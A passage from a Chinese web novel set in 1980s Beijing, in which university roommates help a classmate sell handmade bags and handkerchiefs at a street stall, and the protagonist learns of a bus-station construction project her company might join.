尤其是绣英文诗词这个办法,简单、省事,还格外与众不同。毕竟现在可不像头些年,谁家但凡跟国外、外语能沾边,总叫人高看一眼!如果有那么一块手绢随身带着,说得直白点,就是拿出去装相、显摆也好用啊。 有了思路,吕新芳手上动作更加快了起来。 她按照苏丽珍的建议,到第二天上午,一共绣出了五条手绢。 其中两条上面绣了花体英文的小诗;一条绣的明显西式风格的玫瑰花;还有一条是蜿蜒的藤蔓上缀着可爱蝴蝶结和爱心的图案;最后一条是传统的兰花图案。 看着这五条风格各异,但无一不精美的手绢,苏丽珍几人自然是忍不住又对着吕新芳一阵猛夸。 她们是真心喜欢这些手绢,如果不是需要用它们试水一下行情,她们甚至想直接把这些手绢包圆了。 这天晚上,大家依然是在苏丽珍家里对付了一宿。 翌日清早,六个女生早早起床,吃了一顿丰盛的早餐后,便带着吕新芳这两天的劳动成果一起出发了! 时隔几年,苏丽珍再次摆起了摊,她心里还有几分感慨。 当年,他们家就是从一个小小的路边摊做起来的。 如今,她希望这份好运气也能够在吕新芳身上延续。 说回吕新芳今天的小摊子,之前经过大家研究,一致认为摆摊地点首选大学校园附近。 女大学生们无疑是追赶潮流的中坚力量,她们接受能力强,有一定经济实力,且明显更注重衣服饰品的时尚要求,是吕新芳的目标客户群体。 而她们今天的第一个目标,是距离兴华胡同最近的一所师专学校。《 》 180-190 第181章 一行人步行了二十分钟就到了目的地。 今天是星期天,师专的学生三三两两的在校门口穿梭,很是热闹。 几人站在人家学校的大门附近,偏头看着来往的学生,除了已经很有摆摊经验的苏丽珍之外,其他人都有些紧张。 苏丽珍见状,提醒几人道:“咱们先把东西摆上吧!” 管明月应声把肩上挎着的一个大包袱解了下来。 包袱皮被打开,再摊开平铺在地上就是一块好看的花布,里面整整齐齐码放着吕新芳的六个拼布包和五条手绢,以及一小包发圈、头绳。 这一小包发圈头绳是管明月昨晚抽空做出来的,用的都是裁手绢的边角料,浅蓝、粉白、粉红,搭配可爱的蝴蝶结,特别好看。 万美君和刘思彤头上现在就各绑了一根呢! 因为东西少,几人很快就把包包和手绢依次摆好。 而几乎是她们刚摆完,两个从师专大门出来的年轻女孩便走了过来。 “你们这是卖什么的啊?” 吕新芳从来没有摆过摊,明明之前做好了心理建设,可事到临头还是有些紧张,语气几不可见地变得僵硬:“卖包和手绢。” 苏丽珍忙从旁接过话道:“两位同学,我们的包是南边特区最新款,仿得是香江那边的款式,你们可以随便看看,不买也不要紧。”说着,拿起两个拼布包递给两人。 她这也不算说谎吧,只不过这个最新款也不一定是今年的,大概率是几年之后的。 两个女生一听是特区最新款,立马来了兴趣,都接过包看了起来。 苏丽珍继续“忽悠”:“同学,我们这款包时尚大方,在特区那边特别火爆。它非常好搭配衣服,无论你是穿黑的、还是白的,跟咱们这个包都能配上。你看像你们俩,上身的效果就非常好。” “南边来的,是挺好看的!” “小敏,你看看我背上怎么样?” “好看,你帮我也看看!” 苏丽珍见两个女孩神色满意,这才再次出声:“还有咱们这个做工,你们仔细看看,用的都是好料子,里面是两层内衬,包口和底部也是双层包边,所以包身特别挺括。一点也不像其他软质的包包,挎在身上软塌塌的,显得不精神。” 两个女生听了她的话,也跟着仔细翻看包身,然后又一起点了点头。 一个女生便问道:“你这包多少钱?” 苏丽珍微笑着报了价钱:“不贵,只要两块八。” 听她说完价钱,旁边的吕新芳五人立时紧张地看向两个女生。 尤其吕新芳,昨晚小伙伴们一起商量定价的时候,她觉得自己的包用的都是不值钱的碎布,所以本打算一个包卖个七、八毛钱就成。 没想到却被室友们集体拦住了。 大家说她卖的太便宜,就像苏丽珍之前说的,她的包不能只看原材料,她的设计以及能把设计完整呈现的手艺才是关键。 事实上,在大家看来,她的设计和手艺完全值得一个更高的价钱。 现在百货商店主要卖的是帆布包,这种包结实耐用,是六七十年代最受欢迎的品类。可改开后,在西方文化的巨大冲击下,这种款式过于朴素的包对于如今的年轻人来说已经很难接受了。 即便如此,这样的包也能卖到三块钱一个。 所以以苏丽珍的市场经验来看,她认为吕新芳的包定价两块钱以上完全不成问题。 还有一点,国人仿制能力非常强,尤其是衣帽箱包这样的东西,一旦有成型的样品在市面上流通,那用不了多久,就会涌现出一大堆仿制品。 到时候,吕新芳的包不再是独一无二,价格势必会被拉下来,所以要提前预留出一部分降价空间。说白了,她必须趁着现在市场上一片空白的时候,先抢一波高价利润。 其他人听了苏丽珍这番话,也都纷纷劝吕新芳可以先把价钱定高些。 反正价钱定高了,不行可以往下调嘛。那要是一开始就定低了,后期可没法再涨价了。 而且她们也不是盲目定价,最后就是参考的百货商店帆布包的价钱,最终定价两块八一个。 问价的女生听了苏丽珍的报价,二话没说就点头:“那我买一个!” 另外一个女生则有些犹豫。 苏丽珍在旁边笑眯眯道:“我们这批包是先期拿过来试水的,第二批最快也要一周后才能过来。所以这几个包算是满首都第一份,卖一个就少一个,再想买就得等了。” “那我买一个!” 这时,不知道什么时候围在摊子前的另外两个女生中的一个突然喊道。 苏丽珍愣了一下,很快反应过来,笑道:“好的,同学。这四个都是一样的,你看看,拿哪个都行。” 女生听了她的话,在地上四个包里翻看了t一圈,最后才拿起一个,满意道:“我就要这个了!” 说话就掏出三块钱递给苏丽珍。 苏丽珍连忙示意吕新芳收钱、找零。 之前犹豫的女孩见状也不犹豫了,马上道:“我也要了!” 吕新芳又过去收了她们两人的钱。 别看她这会儿一脸沉稳,其实脑瓜子里就像放烟花似的,炸得她简直想大喊出声! 卖出去了,真的卖出去了! 而且还是这么贵的价钱! 天知道,这一刻,她是多么兴奋激动,就好像三个月前收到首都大学的录取通知书一样,高兴得快要昏过去了! 其实不止是她,万美君和刘思彤也是紧紧握着彼此的手,好几次恨不得原地跳起来,但是害怕吓走了顾客,只好强忍兴奋,双眼亮晶晶地看着大家。 吕新芳这边僵着手指给几个女生找钱,而后来两个女生中没有买包的那个忽然出声道:“姑娘,你们这个手绢怎么卖?” 苏丽珍笑道:“同学你眼光真好,我们这手绢上面的花样都是手工刺绣,现在新品促销,一条六毛钱。” 百货商店里的棉布手绢有两种规格,大的卖三毛,小的两毛。 刺绣是项极其耗费时间和精力的工作,所以绣了花的手绢肯定不能卖这个价,苏丽珍就比照普通手绢的价格直接翻了一番。 这还是因为吕新芳刺绣的花样整体比较简单,用料也普通,如果再复杂精美一些,至少也要卖到一块钱。 那个女生稍微咂了下舌:“这么贵啊!” 不过嘴上说着贵,翻看手绢的动作可一点也不慢:“是刺绣啊,难怪这花样都这么与众不同……哎呀,还有英文的呢!” “我看看……Mayeverythingyoumeetbegentle,愿你所遇皆温柔,啊,好有诗意的句子!” 这会儿旁观了苏丽珍之前怎么卖包的管明月也掌握了一点窍门,忙凑过来道:“嘿,同学,你这英语说得真地道,一看就是学得好!咱们这手绢是采用中式传统技术加上典型的西式文化,属于中西合璧,那叫一个与时俱进!” 那女生“噗嗤”笑出了声:“中西合璧?你说话也太逗了!不过这手绢确实绣的好,这样,我买两条!” 管明月一拍大腿,乐颠颠道:“好嘞,您看好哪个随便挑!” 苏丽珍也笑眯眯地对三个买了包的女生道:“同学,在我们这儿买包或者单次购买两条以上手绢,能免费拿一个发圈,你们挑一挑吧。” 陈红梅几个赶忙把那些发圈发绳拿给几个女生,让她们挑选。 一听有免费的小礼物,四个女生十分高兴,当即凑在一起,很快就各自挑好了中意的发圈。 因为这开头打得好,之后就特别顺利,不到半个小时,剩余两个包和三条手绢也全部卖光了。 六姐妹开心的不得了! 吕新芳更是激动不已,六个包和五条手绢,一共卖了19.8元钱,而成本连一块钱都不到。 天知道,她之前在小饭馆里做钟点工,满打满算一个月也才16块钱。 可这短短一天半的时间,她就挣了比之前一个月还多的钱,这叫她怎么能不激动! 回去的路上,吕新芳主动提出要请姐妹几个去国营饭店吃饭,好好犒劳一下大家。 苏丽珍忙道:“芳姐,吃饭的事先不急。我看咱们还是先回去,趁着今天还有时间,你赶快再做几个包,毕竟晚上咱们还要回寝室呢。” 陈红梅也说:“是啊,我们这两天在珍珍家,活儿没干多少,好吃好喝倒是跟着蹭了不少。我感觉我都长肉了,可不能再吃了!” 大家边笑、边附和。 吕新芳心里十分感动,她知道大家就是不想让她花钱,她吸了吸鼻子,痛快道:“那好,咱这顿先记着。但是咱们说好了,最多一个月,我是一定要把这顿饭补上的!” 饶是如此,回家的路上,路过自由市场时,她还是主动掏钱买了肉和菜,中午亲自下厨,给大家做了几个菜。 在确定了制作拼布包和手绢这条路可行之后,吕新芳就全身心投入到了这份事业中。 平时在学校,学习读书之余绣手绢,到了周末就跟苏丽珍回家用缝纫机做拼布包。 而且苏丽珍她们只是第一次的时候陪着吕新芳一起去摆摊,后面几次都是她自己独立出摊。 用她的话说,室友们已经帮了她太多,没道理为了她的事,要一再占用大家宝贵的休息时间。 大伙儿看她一力坚持,便只好随了她。 只是吕新芳不知道,在她前两次独自摆摊的时候,其实大家早就在苏丽珍提前通风报信下悄悄汇合,然后一直跟在她身后。直到看见她从最初的手忙脚乱到后来的适应、熟练,确定她可以一个人应付得来,大家才默默离去。 转眼一个多月过去,时间已经进入十一月底,一场小雪过后,天气彻底冷了下来。 又是一个周末,兴华胡同前的国营饭店内,摆满了丰盛菜肴的餐桌边,六个女孩高举起手中的饮料杯,齐声欢呼:“干杯!” 喝了一口沁凉带汽儿的汽水,所有人满足地打了个饱嗝,吕新芳立即招呼道:“大家快吃!今天的菜我都是随便点的,你们看看还想吃什么,咱们再接着点,反正我今天的任务就是务必要让你们吃饱、吃好。” 大家也不跟她客气,第一时间把自己的筷子伸向中意的菜肴。 管明月往嘴里塞了一筷子炒肝,一口下去脸上露出满足地表情,才道:“芳姐,我们不跟你客气。但是你今天点这么多,就算再来两个我这样的也吃不完啊。” 吕新芳一边用公筷给大家夹菜,一边笑眯眯道:“没事,吃不完咱打包。难得大家都喜欢这家店的菜,今天我一定要让你们吃过瘾。” “事先说好,你们可不许给我省钱!我还要了两盘子肉饼,这肉饼你们之前没吃过,今天刚好尝尝,他家这个肉饼只有薄薄一层皮,里面满满的都是肉馅,油滋滋、香喷喷的,你们肯定能喜欢。” 听她这么一说,其他人都忍不住咽了口口水。 不过比起对美食的向往,看着如今变得越发神采奕奕,举手投足间充满自信的吕新芳,大家更是打心眼里高兴。 吕新芳自己也能感受到这一点。 这一个多月,托了室友们的福,她每周能做二十个拼布包、绣十条手绢,这些东西几乎每次摆摊都能卖掉。 这样每周至少能赚个六十多块钱,一个月下来就是二百四十块钱。 她做拼布包都是用纺织厂的碎布头,因为管明月的关系,那位梁主任几乎是把这些碎布半送半卖给她。 而手绢用到的布料很少,她第一次买的瑕疵布还有一大半没用完。 这么一算下来,她用到的成本几乎就是一个零头,二百四十块差不多是净赚的。 这要放在两个月前,有人告诉她能一个月的时间挣到这么多钱,她绝对不会相信。 要知道在她出生的小村子,二百四十块钱能盖一座四间的大瓦房了! 她都想好了,十二月先干半个月,从月中开始,她就收收心,然后专心复习,迎接期末考试。等考完试放假,她会留在首都一段时间,直到过年再回老家。 而今年过年晚,如果一切顺利的话,她回去时说不定能攒到五百块! 有了这笔钱,不但能把家里的欠款都还清,明年还够给家里盖房子。 第182章 吕新芳一想到这些,心里就一片火热,同时也越发感激一直支持和帮助她的室友们。 于是,等大家吃饱喝足后,她从包里拿出五个像古代的钱袋子一样的小布袋递给几人。 大家打开布袋上的绳结,发现里面是一方十分精致的真丝手帕。 “之前的包你们不肯收,所以我又准备了别的小礼物,希望你们这次别再拒绝了。” 因为知道万美君她们也很喜欢拼布包,所以吕新芳曾经给室友们各准备了一个,奈何大家商量好了,说什么也不肯收。 万美君和刘思彤捧着各自的手帕,凑在一起赞叹不已:“太好看了!” 连陈红梅都忍不住道:“这是真丝的,这花样也鲜亮。芳姐,你一定没少费工夫。” 吕新芳笑道:“只要你们喜欢就好。” 为了给室友们惊喜,她买回了真丝料子后,都是利用周末在t苏丽珍家里的时间一点点绣的。 这回大家没法再拒绝,便高高兴兴收了各自的手帕。 这时,吕新芳又给苏丽珍一个信封:“珍珍,这一个多月,我一直占用你干爷爷家的房间和机器,吃饭也没跟你客气过。我想了想,别的都好说,但是这借用房间和缝纫机的钱必须得给。” 像是害怕苏丽珍拒绝,她一句接一句道:“珍珍,我说这话也不是存心跟你生分,主要是想一码归一码。况且咱们都知道,这房子也不是你一个人的事,所以我希望你能把这二十块钱收下,要不然我以后也不好意思再登门了。” 说完,她又同样递给陈红梅一个信封:“还有红梅,我现在用的那套剪裁工具特别顺手,但我也不能这样白占你的便宜。我找人打听了,都说这一套工具并不便宜,我不知道你花了多少钱,就也准备了二十块钱给你。” “你们对我好,我知道。但是越是这样,我越要把钱还给你们。” 吕新芳的态度很真诚,同样也很坚决。 其他人都看向苏丽珍和陈红梅。 陈红梅也下意识看了眼苏丽珍。 苏丽珍想了想,接过那纸信封:“芳姐说得对,那咱们今天就‘亲兄弟明算账’一把。” “芳姐,你租用我家的缝纫机,咱们就按一天两毛钱算。一周两天,一个月八天,这就是一块六。至于场地费,因为你经常帮我打扫房间,买菜做饭,所以我房费便宜一点,八天收你四毛钱,正好还能凑个整,一个月两块钱。” “你是从十月中旬过来的,到十二月中旬正好是两个月。我想着一月初咱们就要期末考试了,我估计你从十二月中旬开始,大概率要准备复习,估计也不会怎么干活。” “所以到咱们期末考试前,我就先收你两个月的费用,刚好四块。” 说着,她就从信封里抽出一张大团结,又从自己的钱包里翻出六块钱,和信封里剩的十块钱一起退还给吕新芳。 吕新芳:“……” 有种把什么都算了一遍、但又什么都没算的感觉。 陈红梅在旁边有样学样,也从信封里先抽出一张十块,接着又找回十六块,然后一脸认真道:“那我跟小六一样吧,我也拿四块!咱们都一个价,你也好算账。” 其他人:“……” 虽然知道你的心思,但是你也听听你这话,它们前后有啥逻辑吗? 说笑归说笑,但是吕新芳也看出了两个室友的心思,知道她们不会再多拿,心里不由热烫得厉害。 她常常想,是不是因为自己顶住了过去二十三年的艰辛困苦,所以老天爷愿意奖励她,才把这些善良又赤城的可爱女孩们送到她的身边,从此为她打开了一扇通往希望和幸福的门扉。 她眨了眨眼,把眼底的热意眨去,重新端起桌上的汽水杯子。 “我知道一句‘谢谢’不足以表达我对大家的感激,我也知道大家帮助我的时候从来没有想要过我的回报。但我控制不住,我今天还是想跟大家好好说一句谢谢,说我心里记住了你们对我的所有帮助,而且我会一辈子都记得。” “谢谢,谢谢你们!” 苏丽珍几人也跟着举起杯子。 “芳姐,你别这样说,其实我们很高兴能帮上你的忙。” “是啊,芳姐,我们能成为室友就是缘分,当然要每个人都开开心心才好。” 苏丽珍最后笑道:“姐姐们说得好,为了咱们难得的这份缘分,也为了咱们的212,干杯!” 其他人也异口同声道:“敬缘分,敬212!” 六个杯子捧在一起,滋滋冒泡的甜汽水奏响了友谊的欢歌,让青春记忆里从此飘满了清爽甜蜜的味道,一生难忘。 十二月初的一天,苏丽珍突然接到谢芳芳的来信,说是本周末她小姑姑会来首都。 这位谢家姑姑算是苏丽珍的贵人,对她帮助良多。 今年暑假,她和苏振东一起去海市购买抽真空机器,就是这位谢姑姑从中帮忙。 她很喜欢苏丽珍,了解了她在经营食品公司和建筑公司中遇到的一些困难后,主动牵线,带她到海市几家名头十分响亮的食品和建筑企业里参观、学习,请教了很多专业人士,还帮她收集了不少相关的最新技术资料。 苏丽珍一直很感激谢姑姑,奈何平日两地相隔太远,除了平日邮寄一些家乡特产外,她也没什么机会见到对方。 所以这会儿一听说谢姑姑要来,她十分高兴,当即跟谢芳芳在电话里约好,周末要一起去车站接人。 一晃儿就到了周末。 周六清早,苏丽珍惦记着上午要出门,早早睁开眼睛,准备起床做早餐。 只是她自觉起得早,身边的人却比她还早。 等她穿好衣服直奔厨房,才发现吕新芳这会儿已经手脚麻利地做好了早饭。 白米粥、鸡蛋饼、芝麻酱拌大白菜心儿,还有一叠酱豆腐。 苏丽珍见状十分不好意思,忙过去帮忙盛粥:“芳姐,让我来吧!” 吕新芳没让她伸手:“珍珍,你先去洗漱,洗完了就吃饭。尽量多吃一点,省得一会儿出门冷得厉害。” 苏丽珍听完心里暖暖的,也没辜负对方的好意。 她知道吕新芳是听说她今天早上要出门接人,所以今天特地早早起来帮她做早饭。 吕新芳的手艺自是不必说,白米粥上一层米油,鸡蛋饼又香又软,两人饱饱地吃了一顿美味的早餐。 吃完饭,简单收拾了一下,时间已经七点多了。谢姑姑是八点半的火车,苏丽珍跟谢芳芳约好八点十分在车站碰头,算上坐车的时间,她这会儿就该出发了。 临走时,她不忘嘱咐吕新芳:“芳姐,炉子上坐着水壶,旁边是我放的红糖,你待会儿记得泡了喝,医生当初说过你要多喝红糖水。” “要是我中午不回来,你就自己做点东西吃,家里什么都有,厨房后窗台上还有一罐子坛坛肉。你要是嫌费事,就下一碗挂面,挖一勺坛肉,打两个鸡蛋,好吃还省事。” “知道了、知道了,我的珍珍小管家。” 吕新芳笑眯眯地答应着,然后亲自陪她走到门口,一直到看着她走出胡同才回去。 今天等车比较顺利,路上没怎么耽误时间,苏丽珍看时间还早,于是提前一站下车,先去了一趟友谊商店。 九月份的时候,沈瑞给她送了不少外汇券。 大概是怕她不肯收,这些外汇券是那次沈瑞离京后第二天派人给她送来的。 对方一口一个受沈总和沈老爷子所托,她当时又赶着上课,稀里糊涂地就把这笔外汇卷留下了。 等过后再去沈家,她想当面退还给沈老爷子,结果老人家当时就不高兴了,直说苏丽珍跟他太生分。 折腾了一圈,到底这些外汇券还是留在了她这里。 之前一直没动,直到得知谢姑姑要来了,她考虑了一下,最终还是决定先把这笔外汇券拿出来,到友谊商店里给谢姑姑买礼物。 大概时间还早,友谊商店里这会儿还没什么人。苏丽珍按照自己的想法,直接给谢姑姑挑了一条厚实又好看的白色羊绒围巾。 然后又顺道买了些外头没有的高档零食、糕点和营养品。 友谊商店的东西是好,可价格也当真是不便宜,这一下就把她手里的外汇券花掉了一半。 拎着东西从店里出来,还没等她走到火车站,就碰见了谢芳芳。 “珍珍,快上车!” 谢芳芳是坐着她堂叔家的车过来的。她眼睛尖,在车上一眼看见苏丽珍,赶忙让她堂叔停了车。 谢芳芳的堂叔是她大爷爷的小儿子,谢芳芳之前曾带着苏丽珍到她大爷爷家做客,所以她堂叔也认得苏丽珍。 等苏丽珍上了车,谢芳芳一看见她手里大包小包拿了这么多东西,直接“哇”了一声:“珍珍,你怎么买这么多东西啊?哎呀,还有吃的!这个进口巧克力我吃过,又香又甜,可好吃了!” 苏丽珍笑道:“很久没见到谢姑姑了,上次去海市,姑姑很是照顾我。所以这次知道她来,我提前在友谊商店买了些小礼物。” 前面开车的谢芳芳堂叔听见这话,不由打趣谢芳芳:“芳芳,你看看人家,早早就惦记着给你小姑买礼t物。你可倒好,恨不得一天八个电话,让你小姑从凤城回来给你稍老家的小吃过来。” 谢芳芳听了反而一扬下巴,一脸自得道:“那当然,珍珍最好了!我的眼光向来厉害,你也不看看她是谁的朋友!” 合着你还骄傲上了! 瞬间把谢堂叔给整无语了。 苏丽珍也是一阵失笑,她转移话题道:“谢姑姑还回凤城了?” 谢芳芳点头:“姑姑这次来首都公干一个月,但她已经四、五年没回来了,所以就趁着现在不忙,拐个弯先回凤城看看我爷爷奶奶。” 说话间,车子到了火车站。谢堂叔找了个地方将车停好,三人便一起进了月台。 伴随着汽笛轰鸣声,火车准时到站,谢芳芳眼尖地很快在一大群下车的旅客中认出了人。 “小姑!” 苏丽珍也随着谢芳芳第一时间迎了上去。 “谢姑姑!” 谢姑姑今年还不到四十,留着一头利落的短发,穿一身灰白色呢子大衣,整个人显得十分精明干练。 她看见苏丽珍也来了,很是高兴,拉着她的手说了好几句话。 一旁刚刚还跟苏丽珍黏糊糊的谢芳芳立马撇着嘴,语气酸酸地道:“小姑现在最喜欢的已经不是我了,从见面开始五句话里有三句都是珍珍。” 谢姑姑失笑,忍不住捏了捏她的小鼻子:“好你个小家伙,我才跟珍珍说两句话,你也要挑理。这可不是你一天好几个长途电话哄我给你从老家带小吃的时候了?” 说着,又故意对旁边帮忙接过行李的谢堂叔道:“好了,五哥,今天我从老家带的吃的就咱们几个分分得了,反正咱家芳芳吃酸醋就吃饱了!” “噗嗤!” 这下谢堂叔和苏丽珍都被逗笑了。 谢芳芳听姑姑不但不哄她,还拿她打趣,气得嘴巴撅得能挂油瓶了。 不过没气一秒钟,自己也“嘿嘿”笑了起来。 等几人上了汽车,谢姑姑见苏丽珍给她买了这么多礼物,尤其是那条漂亮又暖和的羊绒围巾,不由分说就主动给自己围上了。 “谢谢你,珍珍!你真是我见过最贴心的孩子!” 谢姑姑欣喜之情溢于言表,甚至还热情地捧着苏丽珍的脸蛋亲了一口。 苏丽珍有些不好意思,赶忙去看旁边的谢芳芳。 没想到谢芳芳这会儿已经忘了吃醋的事,正把苏丽珍买的其他零食、糕点之类的东西一样样拿给谢姑姑看。 谢姑姑笑着逗她:“这是人家珍珍给我买的,那你的那份呢?” 谢芳芳又搬出之前对付谢堂叔那一套:“珍珍是我最好的朋友,她给你买的就等于是我买啦。所以小姑,你不用客气!” 说着,她又从装食物的网兜里扒拉出之前看中的那款巧克力,一边往自己兜里塞,一边自然道:“还有小姑,咱俩关系好,你的也是我的,那这块巧克力就由我亲自帮你吃掉好了。” 这回换谢姑姑被噎得说不出话。 前面开车的谢堂叔更是哈哈大笑。 谢姑姑气笑了,干脆直接上手捏了把这不着调的小侄女圆乎乎的脸蛋。 说笑了一阵,谢姑姑才拉着苏丽珍的手郑重道:“好孩子,谢谢你的礼物。但是谢姑姑希望你能明白,你聪明伶俐,品性善良,又是芳芳的好朋友,姑姑之前帮助你是因为喜欢你,所以你不用想着一定要回报我。谢姑姑只要看着你们两个小女孩每天开开心心的,姑姑就很高兴了。” 苏丽珍听了心里暖暖的,但还是坚持道:“谢姑姑,其实我没想那么多,因为我知道您是真心对我好,我在心里也把您当作是自己的长辈……” 她抿了抿嘴唇,一时竟有些不好意思:“看到您喜欢我的礼物,我就特别高兴,也特别满足。” “真是个实诚孩子!”谢姑姑感叹着,忍不住伸手轻揉了揉她的发顶。 第183章 谢姑姑在首都公干期间,主要还是在谢芳芳的大爷爷家落脚。 苏丽珍陪着谢家人一起把谢姑姑接回家后,一上午的时间就一直在跟谢姑姑,及谢芳芳的大爷爷、大奶奶聊天。 中午的时候,也在谢家人的极力挽留下,吃了一顿丰盛的接风宴。 等吃完午饭,她看见谢姑姑小小的打了个哈欠,想着对方赶了一天一宿的火车,便准备起身告辞,好让谢姑姑能好好休息。 谢姑姑还有点舍不得她,挽留不住后,又说让她明天礼拜天接着过来玩。 苏丽珍虽然意动,但到底还是拒绝了。 她知道谢家在首都有很多姻亲故旧,谢姑姑又好多年没回来,这甫一回来肯定有好多关系需要走动,她哪里好意思一个劲儿占着对方为数不多的休息时间。 她这么想着,便也委婉地把自己的想法说了出来。 谢姑姑听完沉默了一瞬,忍不住再次摸了摸她的发辫。 “你个小人精,总是这么贴心。也好,等我忙完这一阵的,谢姑姑跟你保证,在离开首都前,肯定要抽出一天时间带你和芳芳,咱们好好出去玩一圈。” 苏丽珍这次痛快地答应了。 谢姑姑看她双眼亮晶晶地望着自己,一张小脸白里透红,实在可人极了,心里越发喜爱。想了想,把她单独叫到一边,告诉了她一个在凤城市听到的消息。 “珍珍,这次我回凤城,从我哥那里听到一个消息,兴许对你有用。我听说省里正在筹备,预备明年在咱们凤城市新建一座长途客运站。” “这座客运站的规模不小,初步预计会达到上万平方米,建成后至少能覆盖整个东北三省的长途客运业务。到时候,它将是东三省最大的长途客运站,在全国也是名列前茅的重要交通枢纽。” “这绝对是一项难得的大工程!” 苏丽珍听了也是精神一震,她自然知道这座当年闻名遐迩的长途客运站! 她记得很清楚,这座客运站是85年初夏时节建成,并投入使用的。它的建筑构成是主楼加裙房模式,其中光主楼就有14层,高度接近60米,内部设置了旅馆、餐厅、商场和停车场等设施,整体的建筑面积有1.5万平方米! 客运站正式运营后,日载客能力达到了5万人次,业务直接覆盖了整个东北以及京、冀等多地,别说是在东北,也是当时国内最大的客运站。 为什么苏丽珍会记得这么清楚,就是因为当年这座全国第一的客运站在之后的很多年里都是他们凤城重要的地标建筑,也是所有凤城人的骄傲,很长一段时间都被大家津津乐道。 所以哪怕上辈子的她鬼迷心窍地不把心思放在正用上,也对这些信息耳熟能详。 而现在,想起这件事,但凡一个从事建筑行业相关的人,就没有听说这么大的工程会不心动的! 苏丽珍当然也不例外! 但是激动过后,她又很快想到这么大的工程,可不是她家这种私营企业能插得上手的。 人可以有理想、有目标,但也得对自己的情况做到心中有数,不能好高骛远。 虽然她不记得上辈子这项工程的施工方,但是想想这辈子已经了解到的那几家省内大型国字号建筑公司,左不过是他们中的一家罢了。 想通这些的苏丽珍瞬间冷静下来,不过她还是很感兴趣地问了一句:“那您知道,省里打算把这项工程交给哪家建筑公司吗?” 谢姑姑看着眼前女孩的眼神不过须臾之间便从兴奋转为镇定,又听她问出这样的问题,心知她一定已经想明白了这其中的关键,自己拎得清,不会盲目抱有幻想,心里越发高看这孩子几分。 不过,她提供这样的消息可也不是要故意吊人家孩子的胃口,让人平白欢喜的。 于是,她先回答对方:“原本有两家候选公司,分别是凤城市第一建筑公司和第四建筑公司。我听我哥的意思,领导们更属意第四建筑公司。” 这两家都是省内优秀的建筑公司,自打成立以来承接了许多大型工程项目。尤其是第四建筑公司,技术好,经验多,曾攻克过许多施工难题。 就比如现在凤城市地标建筑之一的电报大楼,这座十层的大楼诞生之路十分坎坷,从75年开始动工,直到80年t才正式竣工。 据说大楼施工期间更换了好几个施工方,直到最后在第四建筑公司手上才顺利完工,也让第四建筑公司从此声名远扬,成为省内的王牌施工队伍。 所以省里的领导们属意第四建筑公司再正常不过了。 谢姑姑看着苏丽珍脸上露出了然的神色,笑了笑,不再卖关子,继续说道:“但是我从我哥那里听说,第四建筑公司原本的工程项目已经排到了三年后,而这次的长途客运站项目虽说立项时间比较早,但是之前因为资金等问题一度搁置,也是今年第四季度才突然提上日程的。” “所以这项工程原本并不在第四建筑公司的计划内,更跟第四建筑公司明后年的工程计划严重撞车。” “有人就提出可以让第四建筑公司先完成长途客运站的主体工程,比如一些边边角角的零散工程可以交付给其他建筑公司,这样既能减轻第四建筑公司的压力,也能加快工程进度。” “不过,包括第一建筑公司在内的其他几个公司都推说自己手上的活儿不少,谁也没松口答应这件事。这个提议也就暂时不了了之了。” 苏丽珍却是听得目光大亮。 她明白谢姑姑的意思了! 同是省内优秀的建筑公司,虽然第四建筑公司的名头更响亮一点,但严格来说,其他几家也不算差。 虽说在这次争夺长途客运站的总体施工资格上,其他公司略逊一筹,可这也是很正常的事。 但如果他们答应跟在第四建筑后面去干那些零碎小活儿,那岂不是告诉所有人他们就是比不上第四建筑,只配给人家打杂? 眼下省里和市里都各自上马了许多大大小小的工程项目,人家手里又不是没活儿,何必自降身价凑这个热闹? 能混到省内一流的建筑队伍,这点骄傲还是有的。 可是,他们看不上这样打杂的活儿,他们“筑梦”看得上啊! 要知道,以往这么大的工程项目,以“筑梦”的资历来说,别说上去喝口汤,你连人家吃饭那个圈子都挤不进去! 如果他们能趁机拿下这个活儿,就等于是在施工方一栏上挂了名。有机会能参与这么大的工程项目,绝对会给他们“筑梦”的名头镀上一层金。 而且退一万步说,这也是一次绝佳的学习机会。第四建筑公司的建筑水平不光是在省里,在全国范围内也是排得上号的,能跟在他们身后从头到尾参与一次大型建设项目,学习对方的技术和经验,就算倒贴钱,她也愿意。 还有一点,她从近一年的报刊上了解到,有些地方政府已经开始试行工程招投标制度了,这也是今后整个建筑行业的大势所趋。 而这项制度一旦正式实行,所有流程公开透明,像“筑梦”这样的小企业更是连第一轮的投标资格都拿不到,想接触这样的大工程更是难上加难。 但是眼下,利用从谢姑姑这里了解的第一手消息,她完全可以提前布置一番,尽量给省、市两级单位先留下一个好印象,然后表明态度,趁着其他有兴趣的小企业反应过来前,率先拿下这个好机会。 苏丽珍越想、心里越是火热,只恨不得现在就去买一张票,赶回凤城,和师兄、薛老爷子一起立刻定下一个章程,第一时间把这事拿下。 一时间心底千头万绪,但她到底还记得是眼前的谢姑姑为她提供这样重要的消息,忙按下满腹思绪,郑重向对方道谢。 “谢姑姑,我明白了。谢谢您能告诉我这个消息,我一定会把握住这次机会的!” 谢姑姑一听她这么说,就知道这个聪明的女孩已经领会到自己想表达的,并且看着那闪闪发亮的眼神,说不定心里已经有了章程。 不愧是小小年纪就能开公司的厉害姑娘呢! 再次感慨这么优秀的女孩要是自家后辈该多好的谢姑姑,朝对方露出了遗憾,但又满满欣赏和喜爱的笑容。 从谢家出来,谢堂叔亲自开车将苏丽珍送到兴华胡同口。 她目送着谢堂叔的车走远后,却是一转身,先去了一趟离家最近的、能打长途电话的邮电大楼。 她要赶紧给师兄他们打电话。 这个时节,东北的天气已经很冷了,他们公司许多工程都赶着上冻之前完成了,现在手上只有几个室内装修的小活儿,比较清闲,所以丁大勇和薛有粮基本每天都在公司。 苏丽珍直接把电话打到丁大勇的办公室。 电话很快被接通,电话那头正是丁大勇。苏丽珍也顾不上说其他的,直接把省里要建长途客运站的事告诉了对方。 等丁大勇听完了苏丽珍的分析后,也是立马激动得坐不住了。 就像苏丽珍说的,如果他们能有机会参与这项工程,哪怕就是些打杂的活计,对于他们公司来说也是难得的好机会。 只是兴奋过后,他又很快冷静下来,有些担忧道:“可是师妹,政府到时候能同意把这事交给咱们吗?” 就算是些边边角角的零碎小活儿,哪也不是谁都能行的。 就算丁大勇自信这点小活儿对于他们公司来说完全不是问题,但实事求是,他们公司在资历方面还是欠缺的。 如果这时候有其他规模更大一点的公司来竞争,他们未必能争得过。 对这个问题,苏丽珍自然早有想法,她立刻道:“我是这么想的,大勇哥,你和薛爷爷趁着眼下不忙,主动到这两年找咱们干活的单位走一走,看看他们有没有遇上什么问题,然后帮着解决解决,尤其是那些机关单位。” 